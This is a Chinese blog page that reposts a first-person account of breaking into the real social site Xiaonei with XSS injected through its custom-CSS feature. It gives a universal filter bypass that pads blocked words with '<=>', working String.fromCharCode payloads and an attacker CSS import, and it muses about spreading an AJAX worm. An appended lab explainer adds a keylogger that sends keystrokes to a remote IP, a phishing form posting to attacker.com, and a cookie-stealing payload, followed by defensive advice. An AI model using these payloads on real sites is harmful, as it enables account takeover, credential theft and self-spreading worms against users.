渗透校内网——XSS过程详解

本文详细介绍了一种针对社交网站的跨站脚本(XSS)攻击方法,包括利用expression表达式漏洞进行渗透的技术细节,并提出了一种万能绕过方法。
部署运行你感兴趣的模型镜像
——余弦函数( http://hi.baidu.com/ycosxhack )三更半夜原创

我知道校内网曾经爆发的那个蠕虫,那时候爆发这个相对来说容易,因为那时XSS没任何挑战,而AJAX蠕虫不是谁都可以写出来的,至少要有不错的 JavaScript编程能力。我是这两天才开始认真使用校内网的,使用前就发文声称要XSS^^,没想到几个小时的渗透,发现了校内网的过滤系统就是形同虚设。

下面详细讲解下这个渗透过程,技术讨论而已。其他邪恶的问题一概不回答。

一、先了解下面这些:

渗透点为校内网的涂鸦板,这个涂鸦板就像百度空间的“编辑CSS自定义模板”。如下截图:

截图中的唯一正常的代码就是:body{background-color:#000;}!必须知道在CSS中执行脚本的唯一方法为expression表达式,而这个expression只在IE内核的浏览器中得到支持!expression还有一个缺点是它会反复执行其中的js代码,所以我们用下面这个聪明的方法来解决:

expression(if(!window.x){your evil script;window.x=1;})

这样,expression中的js就将执行一次。根据不同的渗透环境,我们可以将我们的js适当的变形或加解密转换。这次渗透发现涂鸦板(如上面截图)中的“背景图片:”文本框与“CSS:”文本域都可以写入非法的XSS字符串。先介绍“CSS:”文本域。

二、开始渗透了:

我们填写:a{cos:expression(if(!window.x){alert('xss-WORM');window.x=1;})},保存修改后变为:

a{cos:expression(if(!window.x){alert(xss-WORM);window.x1;})}

可以发现,它将expression过滤为英文全角的expression(不过,最后一个n还是英文半角,这很有趣),并且过滤了单引号与等号。继续渗透发现它过滤的字符或字符串为:> < = & escape / eval expression unescape ' " javascript @import等。现在我们来突破,如何突破?为了执行js,我们必须先复活expression。

将expression变形为exp/**/ression,其中/**/为CSS的注释符,浏览器将忽略它,所以expression可以正常执行,不过过滤系统就不一定会考虑到这个了。后面我总结了一个万能的绕过方法,也非常的有效,呵呵,想知道就继续往下看吧。

三、传说中的万能绕过方法:

先告诉你吧,这段代码就可以XSS校内网了:

a{cos:exp<=>ression(e<=>val(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,45,87,79,82,77,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))}

填写在“CSS:”文本域中,保存修改,在个人首页就可以看到XSS了,如下:

发现了没有,上面这段代码很奇怪啊。expression与eval都被<=>分割了,呵呵!原理就是:<=>这三个字符都会被过滤掉,连骨灰都不剩……于是我们的expression与eval就都有效了。所以传说中的万能绕过方法就是用<=>填充会被过滤的字符串(比如:javascript @import eval unescape escape expression等等)!但是对于那些特殊字符(比如:' " < = >等等)就没办法了,这个很好理解吧?这些特殊字符都将被过滤掉,都是连骨灰都不剩,所以你可以随意组合这些特殊字符串。我还是用我的<= >吧。

由于单引号等特殊字符都会被过滤掉,所以我们只能在expression表达式中选择使用eval(String.fromCharCode(邪恶的十进制码)),当然我们还可以选择使用@<=>import url( http://www.yourevilsite.com/xss.css);来导入外部CSS了,然后在你的外部CSS中就随意构造代码吧!邪恶的十进制码即你的js的十进制表达式,由于变为十进制了,所以任何特殊字符、任何函数都可以使用了,也就是说你可以执行任意js代码。

四、“背景图片:”文本框:

我发现这个文本框中仅仅过滤那些特殊字符,而不会过滤eval expression unescape等等,所以我就构造了如下代码:

http://);cos:expression(eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,123,97,108,101,114,116,40,39,120,115,115,45,87,79,82,77,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125))

原理上面已经提到了。至于为什么这样构造就留给你自己去探索吧,很简单其实。

五、渗透成功后:

成功后,就写AJAX蠕虫吧,让访问你页面的人都中招,然后来点危害,比如清空其文章,再留下你的大名,或者挂马,最好来个潜伏期什么的~~~说说而已,这样做会被鄙视的!最多就来个小恶作剧就好,低调~低调。关于AJAX蠕虫的优势与危害我就不多说了。我现在更愿意来个定向攻击。运气好的话,会有很大的收获。

最后,欢迎指正不足,更欢迎补充。My Blog: http://hi.baidu.com/ycosxhack。其实这次渗透我做的工作量可不仅这些,不该说的我就不说了。  

您可能感兴趣的与本文相关的镜像

Stable-Diffusion-3.5

Stable-Diffusion-3.5

图片生成
Stable-Diffusion

Stable Diffusion 3.5 (SD 3.5) 是由 Stability AI 推出的新一代文本到图像生成模型,相比 3.0 版本,它提升了图像质量、运行速度和硬件效率

### XSS 钓鱼攻击原理 XSS(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过向页中注入恶意脚本,使其他用户在浏览该页面时执行这些脚本。钓鱼攻击是XSS的一个典型应用场景,其核心思想是利用恶意脚本诱导用户输入敏感信息(如用户名、密码、Cookie等),并将这些信息发送到攻击者控制的服务器。 在Pikachu靶场中,XSS钓鱼攻击通常分为反射型、存储型和DOM型三种形式: - **反射型XSS**:恶意脚本作为URL参数传递,并在页面上直接显示或执行,通常需要用户点击特定链接来触发。 - **存储型XSS**:恶意脚本被存储在服务器端(如数据库中),当其他用户访问包含该脚本的页面时会自动执行。 - **DOM型XSS**:攻击不经过后端处理,而是通过修改页面的DOM对象来触发脚本执行,常用于前端逻辑处理不当的场景。 钓鱼攻击的关键在于构造一个伪装成正常页面的表单或弹窗,诱导用户输入敏感信息,随后通过JavaScript将数据发送到攻击者的服务器。 ### 示例分析 #### 1. 存储型XSS实现键盘记录 在Pikachu靶场中,攻击者可以构造一个恶意脚本并提交到目标站的留言板、评论区等可存储用户输入的地方。一旦有用户访问该页面,恶意脚本就会在用户的浏览器中执行,并开始监听键盘事件,记录用户的每一次按键操作,包括可能输入的用户名和密码。 示例代码如下: ```html <script> document.addEventListener("keydown", function(event) { let key = event.key; // 将按键记录发送到攻击者服务器 fetch('http://116.204.99.177/pkxss/xfish/log.php?key=' + encodeURIComponent(key)); }); </script> ``` 上述代码会在页面加载后监听所有键盘事件,并将每次按键发送到指定的远程服务器,攻击者可以在服务器端收集这些数据以获取用户的敏感信息[^1]。 #### 2. 反射型XSS钓鱼表单 攻击者构造一个带有恶意脚本的URL,诱导用户点击。当用户访问该链接时,脚本会在页面上插入一个伪造的登录表单,用户输入的凭证会被发送到攻击者的服务器。 示例URL: ``` http://pikachu.example.com/?name=<script>document.body.innerHTML += '<form action=\"http://attacker.com/catch\" method=\"POST\">Username:<input type=\"text\" name=\"user\"><br>Password:<input type=\"password\" name=\"pass\"><br><input type=\"submit\" value=\"Login\"></form>';</script> ``` 用户点击该链接后,页面上会出现一个伪装成原站的登录表单。用户输入的信息会被提交到攻击者的服务器,从而完成钓鱼过程[^2]。 #### 3. DOM型XSS URL参数注入 DOM型XSS通常发生在前端处理URL参数时未进行适当的过滤和转义。例如,页面根据URL中的某个参数动态更新页面内容,攻击者可以构造恶意参数值,使其包含JavaScript代码。 示例代码: ```html <script> let search = location.search.substring(1); document.getElementById("searchResult").innerHTML = "You searched for: " + search; </script> ``` 攻击者构造的恶意链接为: ``` http://pikachu.example.com/search.html?keyword=<script>alert(document.cookie)</script> ``` 如果页面没有对`search`变量进行处理,恶意脚本将在用户浏览器中执行,进而窃取用户的Cookie信息[^4]。 ### 防御措施 为了防止XSS钓鱼攻击,开发人员应采取以下几种主要防御手段: - **输入过滤与转义**:对所有来自用户的输入进行严格的验证和过滤,确保不会将其作为HTML或JavaScript代码执行。可以使用HTML实体编码(如`<`代替`<`)来防止恶意脚本注入。 - **输出上下文感知编码**:根据输出位置(HTML、JavaScriptCSS等)采用不同的编码方式,避免特殊字符被浏览器错误解析。 - **使用Content Security Policy (CSP)**:通过设置HTTP头`Content-Security-Policy`,限制页面只能加载指定来源的脚本,阻止内联脚本执行,有效缓解XSS攻击。 - **避免内联事件处理**:尽量避免在HTML标签中使用`onclick`、`onload`等内联事件属性,改用外部JavaScript绑定事件。 - **启用HttpOnly Cookie标志**:设置Cookie的`HttpOnly`属性为`true`,防止JavaScript读取敏感Cookie数据,降低XSS攻击的危害。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值